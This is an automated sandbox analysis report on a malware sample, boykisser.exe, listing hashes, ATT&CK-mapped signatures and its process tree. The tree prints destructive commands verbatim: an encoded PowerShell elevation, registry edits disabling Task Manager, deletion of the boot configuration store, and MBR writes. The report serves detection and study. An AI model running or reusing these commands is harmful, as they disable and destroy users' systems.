31d8276ec23d7f316c0ebe5ec8d98bf46dda449ef5b2e23820efcab9679c9dce

Analysis

max time kernel
148s
max time network
26s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260629-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260629-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
01/07/2026, 05:42

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
boykisser.exe
Size 2.2MB
Sample260701-gd82cae14m
SHA256 31d8276ec23d7f316c0ebe5ec8d98bf46dda449ef5b2e23820efcab9679c9dce
MD5 93801e42094cbb98b2d91145f7609532
SHA1 a490bf7e6600ac51aa1c1376f73858d6d2e654c3
SHA512 5af59155989f5eb058b593034b1d1c4b9872db00222fc7da3ec3f94177b7b78caadd9881912e7f5baae23efec83646afb1f2b6872af2bd7d8c2a5403aa6444b3
SSDEEP 49152:XIrPMTCRSCUgnXLzCUeQoDhzp6D73FYxTWvaA/84j1r5GxK61i4i:YrFUgnsP676xTWvaA/84jvGp1i
TLSH
T1F6B533D96CB98613E7493CB2D6E4E9EF69D7F6DC292192FA83297CFF8E440D10150A10
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

bootkit defense_evasion persistence

Malware Config

Signatures

Disables Task Manager via registry modification
defense_evasion

Looks up external IP address via web service 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
1	ipinfo.io
2	ipinfo.io

Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010

Writes to the Master Boot Record (MBR) 1 TTPs 1 IoCs

Bootkits write to the MBR to gain persistence at a level below the operating system.

bootkit persistence

Bootkit

T1542.003

description	ioc	Process
File opened for modification	\??\PhysicalDrive0	boykisser.exe

Modifies registry key 1 TTPs 3 IoCs

Modify Registry

T1112

pid	Process
4468	reg.exe
4816	reg.exe
5976	reg.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
5128	powershell.exe
5128	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	5128	powershell.exe

Suspicious use of WriteProcessMemory 7 IoCs

description	pid	Process	procid_target
PID 4528 wrote to memory of 5128	4528	boykisser.exe	88
PID 5128 wrote to memory of 1656	5128	powershell.exe	90
PID 1656 wrote to memory of 4468	1656	boykisser.exe	92
PID 1656 wrote to memory of 4816	1656	boykisser.exe	93
PID 1656 wrote to memory of 3944	1656	boykisser.exe	97
PID 3944 wrote to memory of 5976	3944	cmd.exe	99
PID 1656 wrote to memory of 1004	1656	boykisser.exe	100

C:\Users\Admin\AppData\Local\Temp\boykisser.exe
"C:\Users\Admin\AppData\Local\Temp\boykisser.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:4528
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -EncodedCommand UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAC0AVgBlAHIAYgAgAFIAdQBuAEEAcwAgAC0ARgBpAGwAZQBQAGEAdABoACAAJwBDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcAGIAbwB5AGsAaQBzAHMAZQByAC4AZQB4AGUAJwAgAC0AQQByAGcAdQBtAGUAbgB0AEwAaQBzAHQAIAAnAC0ALQBlAGwAZQB2AGEAdABlAGQAJwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4A
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:5128
- - C:\Users\Admin\AppData\Local\Temp\boykisser.exe
    "C:\Users\Admin\AppData\Local\Temp\boykisser.exe" --elevated
    3⤵
    - Writes to the Master Boot Record (MBR)
    - Suspicious use of WriteProcessMemory
    PID:1656
  - - C:\Windows\system32\reg.exe
      "reg" add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f
      4⤵
      Modifies registry key
      PID:4468
  - - C:\Windows\system32\reg.exe
      "reg" add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f
      4⤵
      Modifies registry key
      PID:4816
  - - C:\Windows\system32\cmd.exe
      "cmd" /c reg delete HKLM\BCD00000000 /f
      4⤵
      Suspicious use of WriteProcessMemory
      PID:3944
    - - C:\Windows\system32\reg.exe
        
        reg delete HKLM\BCD00000000 /f
        5⤵
        Modifies registry key
        
        PID:5976
  - - C:\Windows\system32\cmd.exe
      "cmd" /c ver
      4⤵
      PID:1004

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Pre-OS Boot

T1542

Bootkit

T1542.003

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Obfuscated Files or Information

T1027

Command Obfuscation

T1027.010

Pre-OS Boot

T1542

Bootkit

T1542.003

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

logs.txt

Path C:\Users\Admin\Desktop\logs.txt
Size 253B
SHA256 63f2d78a18787635423e451fe5707e71543734fe3a20620d1c2ebcb6a7045e59
MD5 74641f57d93fd0a37de39be070818daf
SHA1 380fac8c53296f5103df06861a6eba4eee0e2196
SHA512 6bc6bcbf6576f7d3a64545aa3eb56279592851d483f5d2014026f2ba8a4323c854552fc7c6f50d10e488e3a72316fd4d286dee70841ff140c943ec84fea41a99
TLSH
T16CD05EAC4383021E8B4E1C8681F11BF3044FBA481A8004B3B33CA05E7171E193FAB770
MD5 SHA1 SHA512 TLSH

Submit Download

memory/1656-41-0x00007FF797FD0000-0x00007FF79833C000-memory.dmp

Download

memory/1656-24-0x00007FF797FD0000-0x00007FF79833C000-memory.dmp

Download

memory/1656-18-0x00007FF797FD0000-0x00007FF79833C000-memory.dmp

Download

memory/4528-0-0x00007FF797FD0000-0x00007FF79833C000-memory.dmp

Download

memory/4528-5-0x00007FF797FD0000-0x00007FF79833C000-memory.dmp

Download

memory/5128-12-0x00007FF8A6F90000-0x00007FF8A7934000-memory.dmp

Download

memory/5128-13-0x00007FF8A6F90000-0x00007FF8A7934000-memory.dmp

Download

memory/5128-14-0x00007FF8A6F90000-0x00007FF8A7934000-memory.dmp

Download

memory/5128-16-0x00007FF8A6F90000-0x00007FF8A7934000-memory.dmp

Download

memory/5128-17-0x00007FF8A6F90000-0x00007FF8A7934000-memory.dmp

Download

memory/5128-11-0x00007FF8A6F90000-0x00007FF8A7934000-memory.dmp

Download

memory/5128-10-0x00007FF8A6F90000-0x00007FF8A7934000-memory.dmp

Download

memory/5128-9-0x000002826CF00000-0x000002826CF22000-memory.dmp

Download

memory/5128-6-0x00007FF8A711F000-0x00007FF8A7120000-memory.dmp

Download